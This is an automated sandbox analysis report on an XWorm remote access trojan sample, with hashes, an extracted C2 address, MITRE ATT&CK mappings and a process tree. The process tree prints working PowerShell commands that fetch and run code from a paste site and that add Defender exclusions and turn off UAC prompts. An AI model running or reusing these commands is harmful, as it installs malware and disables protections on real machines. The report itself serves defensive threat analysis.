xworm | 79a0a92cd82c5a3b0d3e8c72d1acbec46ac9677797cf751584ef5fb838e5b0ec

General

Target

run.ps1
Size

50B
MD5

a842bb38fa14cb90a9a3169e0da00d0e
SHA1

d8541bd2cfb386294b24c4c4e68eba269cbffcd9
SHA256

79a0a92cd82c5a3b0d3e8c72d1acbec46ac9677797cf751584ef5fb838e5b0ec
SHA512

a068a2d4945f38fdd4165089679593b60bc594bb993c0c61f3c08b6b9496f695d847f7f970793a46eaf33ffe80fd93cc3dbee889f471368b6c8bac36a0df9048

Score

10^/10

xworm defense_evasion execution rat trojan

Malware Config

Extracted

Family

xworm

C2

running-boating.gl.at.ply.gg:49261

Mutex

nTuejMBVrsDVuX5I

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000b000000023aee-45.dat	family_xworm
behavioral2/memory/2812-52-0x0000000000840000-0x000000000084E000-memory.dmp	family_xworm

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	4680	powershell.exe
27	4680	powershell.exe
44	4680	powershell.exe
45	4680	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3228	powershell.exe
3116	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
44	4680	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2812	SVrB5SO0.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3228	powershell.exe
3228	powershell.exe
4680	powershell.exe
4680	powershell.exe
3116	powershell.exe
3116	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeDebugPrivilege	4680	powershell.exe
Token: SeDebugPrivilege	3116	powershell.exe
Token: SeDebugPrivilege	2812	SVrB5SO0.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3228 wrote to memory of 4680	3228	powershell.exe	86
PID 3228 wrote to memory of 4680	3228	powershell.exe	86
PID 4680 wrote to memory of 3116	4680	powershell.exe	92
PID 4680 wrote to memory of 3116	4680	powershell.exe	92
PID 4680 wrote to memory of 2812	4680	powershell.exe	107
PID 4680 wrote to memory of 2812	4680	powershell.exe	107

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "irm https://paste.ee/d/xkhQqMbj | iex"
  2⤵
  - Blocklisted process makes network request
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath $Env:ProgramData, $Env:Temp, $Env:HomeDrive; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 0 -Type DWord
    3⤵
    - UAC bypass
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3116
- - C:\ProgramData\SVrB5SO0.exe
    "C:\ProgramData\SVrB5SO0.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\SVrB5SO0.exe

Filesize
30KB

MD5
e5090d029c342cc6d003a8a6c497806e

SHA1
952d9ab187d626b4f0e47ac161050d532030e609

SHA256
fb667a12c1e9af4d5cc7ecc0e6475353953ea3255378cdb02be259f369b7c71b

SHA512
60d2f1b1128eea8be26e159f08413270ae1a660e78fd7e65c783dc3e8dece8d98286a06815578196bb1fcd541c067d4a144f1228f0da254bc9985fa24ad7c2a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f5076bd51ad9341494ff72f200b7b390

SHA1
ee124a46aeddd94baa48616d5298945465ad9350

SHA256
165150c444b6f877540da64662e07acbdedf5a879566cffb77502de3dc02a0a4

SHA512
e23e63762add5d1ec1fc2537cb00e3c7ef0c49366805d50259bb3316ddd4a47c225131f54b6c6870b987f7866c51a042b635e08f0b67a6eb5d83bc4baab1bcd0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ajwte1pq.y1d.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2812-52-0x0000000000840000-0x000000000084E000-memory.dmp

Filesize
56KB

Download
memory/3228-12-0x00007FF8DA960000-0x00007FF8DB421000-memory.dmp

Filesize
10.8MB

Download
memory/3228-39-0x00007FF8DA960000-0x00007FF8DB421000-memory.dmp

Filesize
10.8MB

Download
memory/3228-0-0x00007FF8DA963000-0x00007FF8DA965000-memory.dmp

Filesize
8KB

Download
memory/3228-11-0x00007FF8DA960000-0x00007FF8DB421000-memory.dmp

Filesize
10.8MB

Download
memory/3228-6-0x000002587CBD0000-0x000002587CBF2000-memory.dmp

Filesize
136KB

Download
memory/3228-59-0x00007FF8DA960000-0x00007FF8DB421000-memory.dmp

Filesize
10.8MB

Download
memory/4680-24-0x00007FF8DA960000-0x00007FF8DB421000-memory.dmp

Filesize
10.8MB

Download
memory/4680-25-0x0000023FD7AE0000-0x0000023FD7CA2000-memory.dmp

Filesize
1.8MB

Download
memory/4680-40-0x00007FF8DA960000-0x00007FF8DB421000-memory.dmp

Filesize
10.8MB

Download
memory/4680-23-0x00007FF8DA960000-0x00007FF8DB421000-memory.dmp

Filesize
10.8MB

Download
memory/4680-19-0x00007FF8DA960000-0x00007FF8DB421000-memory.dmp

Filesize
10.8MB

Download
memory/4680-56-0x00007FF8DA960000-0x00007FF8DB421000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads